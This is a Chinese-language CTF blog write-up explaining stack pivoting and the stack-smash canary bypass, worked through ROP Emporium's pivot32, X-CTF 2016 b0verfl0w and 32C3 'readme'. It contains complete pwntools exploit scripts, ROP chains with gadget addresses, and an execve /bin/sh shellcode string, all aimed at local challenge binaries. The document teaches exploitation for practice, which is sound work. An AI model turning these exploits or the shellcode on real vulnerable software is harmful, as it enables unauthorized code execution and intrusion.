不那么菜菜的ROP

栈上的不那么简单小玩意们

Stack pivoting

stack pivoting (堆栈转移),基本思想是利用已有的内存区域或数据结构(例如堆)来构造一个新的堆栈,然后将程序的控制流转移到该堆栈上执行。通过将堆栈指针 (ESP/RSP) 设置为新的堆栈地址,并在该堆栈上构造合适的函数调用帧,可以控制程序的执行路径。

通常在内存布局受限或某些保护机制存在的情况下使用。

利用stack pivoting有以下几个特征:

  • 栈可以控制的空间过小不足以构造完整的rop链
  • 开启了 PIE 保护,栈地址未知,我们可以将栈劫持到已知的区域

说到底栈迁移就是 'a'*offset+p64(fake_stack)+P64(leave)

首先我们需要了解函数在执行结束后会执行的 leave;ret 这条汇编代码的含义:

1
2
3
4
5
6
7
8
# leave, 相当于执行
mov esp, ebp
pop ebp

# retn, 相当于执行
pop eip

#执行leave指令后,首先绘将ebp的值赋给esp,然后做一个出栈操作,栈指针会向栈底移动一个地址。此时执行ret,就会跳转到新的栈顶指针的地址,即原ebp+8处存储的地址。

在实际的程序汇编代码中,我们还需要利用如下图所示的代码:

rax, [rbp+buf] 我们要知道这句汇编在干嘛,其实就是把 rbp+buf 的地址给到 rax。我们都知道栈溢出是先溢出到 rbp 再到 rip 的,我们可以通过栈溢出的方式控制 rbp 的值,在下面又将会把 rax 的值赋给 rsi ,通过这条汇编命令我们就可以控制 rbp 和 rsi 。

像上图的例子,假设我们通过溢出控制了 rbp 为 0x123000,那么 read 命令就相当于在执行 read(0,0x123000+buf,xx) ,也就是读入的数据被写入了 0x123000。至此我们就可以实现任意地址的写入。

但是这样只适用于我们只利用一次漏洞的情况,如果我们多次利用漏洞就需要为程序完整的构造一个栈结构,实现 “ 把栈搬走 ” 。

大致的通用思路就是:

  • 第一次栈迁移修改 rbp 让接下来的输入指向我们想要写的地方

  • 第二次栈迁移修改 rsp 让程序正常

  • 第三次栈迁移进行攻击 rop 链的构造(例如泄露 libc ,修改 GOT 地址,在栈上布置 shell rop 链)

  • 第四次重复第一次的操作

  • 第五次构造 getshell rop 链

如果需要进行多次 rop 攻击,除了最后一次都需要重复 1、2 操作恢复栈结构

🌰_1:

发现了一个靶场:ROP Emporium,选择pivot-x_86

给的压缩包里还有一个动态链接库 libpivot32.so,checksec 一下甚至出现了没见过的玩意 RUNPATH: '.'

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
RUNPATH: '.'

这个 RUNPATH: ‘.’ 的意思是可执行文件的运行时路径(run-time search path)设置为当前目录(’.’),也就是它运行时会使用题目所给的动态链接库

直接在linux里运行一下看看,这个程序有有两个输入。

反编译一下这个程序的main函数,复制一下源码写个注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *ptr; // [esp+Ch] [ebp-Ch]

setvbuf(_bss_start, 0, 2, 0);
puts("pivot by ROP Emporium");
puts("x86\n");
ptr = (char *)malloc(0x1000000u); //分配一个0x1000000u的内存块,并将其地址赋值给ptr指针
if ( !ptr )
{
puts("Failed to request space for pivot stack");
exit(1);
} //检查内存分配是否成功,如果失败则输出错误信息并退出程序。
pwnme(ptr + 16776960); //调用pwnme函数,将ptr指针偏移16776960字节的位置作为参数传递给它。
free(ptr); //释放先前分配的内存块
puts("\nExiting");
return 0;
}

发现main函数里没有什么漏洞可以被我们利用,但是在pwnme函数里发现read()没有输入长度的验证

其中在第二个输入溢出时,只有(0x38-0x28-4)即12个字节的缓冲区可以利用,无法直接在栈上构造rop链。题目也有提示,我们需要将rop链存到buf中,再将栈转移到buf上。

我们发现puts一条文本Call ret2win() from libpivot,没有在这个可执行文件中发现这个函数,但是题目还给了一个动态链接库 libpivot32.so,发现这是一个后门函数,我们可以控制程序跳转到这里执行为我们打开flag。

需要注意的是程序执行到我们填入的leave;ret指令之前,自己也执行了一次该指令。也就是说这个指令被执行了两次

由于每次ret都会使得esp+4,所以,伪造的ebp的地址要减去4。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

p=process("./pivot32")
elf=ELF('./pivot32')
lib_elf=ELF('./libpivot32.so')

func_plt=elf.plt['foothold_function']
func_got_plt=elf.got['foothold_function']
foothold_sym=lib_elf.symbols['foothold_function']
ret2win_sym=lib_elf.symbols['ret2win']
offset=int(ret2win_sym-foothold_sym)

leave_ret=0x080486a8
mov_eax_eax=0x080488c4
pop_eax=0x080488c0
pop_ebx=0x08048571
add_eax_ebx=0x080488c7
call_eax=0x080486a3

p.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
fake_ebp=int(p.recv(10),16)

payload1=p32(func_plt)+p32(pop_eax)+p32(func_got_plt)+p32(mov_eax_eax)+p32(pop_ebx)+p32(offset)+p32(add_eax_ebx)+p32(call_eax)

#这里需要先调用一次foothold_function,将它的地址加载到got.plt中,我们才能进行后续的替换
#payload含义为,将eax赋值为foothold_function的真实地址,再将ebx赋值为foothold_function和ret2win的偏移,最后将ebx加到eax上,调用ret2win

p.recvuntil('> ')
p.sendline(payload1)

payload2='A'*40+p32(fake_ebp-4)+p32(leave_ret)

p.recvuntil('> ')
p.sendline(payload2)
p.interactive()

🌰_2:

[X-CTF Quals 2016 - b0verfl0w](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/stackprivot/X-CTF Quals 2016 - b0verfl0w)

题目拿到手先查看一下基本信息

查看一下源码发现vul函数有栈溢出漏洞

但是可控制的范围很小只有50-32-4=14个字节,我们就考虑 stack pivoting 。由于程序本身并没有开启堆栈保护,所以我们可以在栈上布置 shellcode 并执行。

构造完shellcode之后,我们需要对 esp 进行操作,使其指向 shellcode 处,并且直接控制程序跳转至 esp 处。

查找一下可以利用的gadget

其中0x08048504有直接跳转到esp的片段,

修改栈上的返回地址为jmp esp的地址,这样程序就会跳转到栈顶指针所指向的地址处执行payload。

构造结构如下:

shellcode+padding=0x20,fake ebp=0x4,jmp_esp=0x4

为了保证栈上有足够的空间执行payload,我们能将栈指针向下调整,即sub esp, 0x28;jmp esp。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
r=process('./b0verfl0w')

jum_esp=0x08048504

Shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
Payload=Shellcode+'a'*13+p32(jum_esp)+asm('sub esp, 0x28;jmp esp')

#先利用sub esp, 0x28;jmp esp指令跳转到调整后的栈顶,再向上面写入shellcode,最后再次执行jum_esp跳转执行shellcode

r.sendline(Payload)
r.interactive()

Stack smash

canary保护有多种绕过方式,其中Stack smash就是绕过canary保护的一种方式。之前做过的canary保护绕过是填充canary最后的字节并之后暴力枚举或是直接泄露,从而避免canary保护程序报错。Stack smash这个方法并不在乎是否会引发canary报错,而是利用报错的内容。

在程序启动canary保护之后,如果发现canary被修改的话就会执行 _stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串,正常情况下这个指针指向程序名。如果我们利用栈溢出覆盖 argv[0] 为我们想要输出的字符串地址,那么在 _fortify_fail 函数中就会输出我们想要的信息。

这个方法适用于glibc-2.31以前的程序,之后的程序不会打印 argv[0] 指针所指向的字符串

1
2
3
4
5
6
7
8
9
10
11
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}

以2015年32C3 CTF readme 为例

2015 32C3 CTF readme

触发canary保护后程序会输出一段报错

开始解题,反汇编一下源码。

程序中有两次输入,第一次输入赋值给v3后不对其进行任何操作;第二次输入赋值给v1,将其不断赋值给byte_600D20这个数组。

双击查看数组

也就是说这道题我们只需要拿flag而不是拿shell,而且v2变量接收第二次输入的字符串,并且会不断覆盖原有的flag内容。

在这之后还有一条语句

1
memset((void *)((int)v0 + 6294816LL), 0, (unsigned int)(32 - v0));

这条伪代码的原型是这样的

1
void *memset(void *ptr, int value, size_t num);

意思是从内存指针ptr指向的位置直到向后num字节都被value取代。

结合 byte_600D20[v0++] = v1; ,我们题目中的函数意思就是无论你是否进行第二次输入,在程序结束后 flag 的位置都将被替换,我们就无法通过直接修改 argv[0] 的值获得 flag 。

但是flag被映射了两次,0x600D21中的flag被修改,那我们就把 argv[0] 指向 0x400d21。

看了很多大佬的解析也没搞明白,程序中有两个load段,为什么第二个load段中的flag,会被映射到第一个load 段里🥲

查找argv[0]的位置,一共找到三种方法:

  • 方法一:

用peda挂载文件,先在第一个gets处下断点

利用find命令查找与文件名有关的地址,再计算当前的rsp指针与其的距离

  • 方法二

也是利用argv[0]指向程序名的特点寻找,直接下断点,查找指向程序名的内存指针。

  • 方法三

用命令p & __libc_argv[0]

1
2
> p & __libc_argv[0]
$1 = (char **) 0x7fffffffdff8

我们要写入536个字节也就是0x218个字节才能将argv[0]覆盖掉,所以payload构成应该是0x218字节的填充物加上我们目标flag的地址。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p=process('./readme.bin')
payload='a'*0x218+p64(0x400d20)

p.recvuntil("What's your name? ")
p.sendline(payload)

p.recvuntil("Please overwrite the flag:")
p.sendline('Modifier')

print p.recv()

但是没有输出,是因为程序把错误信号发送给了执行程序的终端里,我们需要修改环境变量让错误信息通过网络传到我们的终端里。

所以我们要利用第二次的输入,将 LIBC_FATAL_STDERR_=1 写入到环境变量中。在第一个payload当中我们已经把指针指向了argv[0],需要将指针再次指向第二次输入点,结果如下:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = process('./readme.bin')

payload_1 = "A"*0x218 + p64(0x400d20) + p64(0) + p64(0x600d20)
p.sendline(payload_1)

payload_2 = "LIBC_FATAL_STDERR_=1"
p.sendline(payload_2)

print p.recvall()

原来栈溢出不是想象中的辣么简单捏

栈上的东西终于整理好噜😊


不那么菜菜的ROP
https://shmodifier.github.io/2023/07/06/不那么菜菜的ROP/
作者
Modifier
发布于
2023年7月6日
许可协议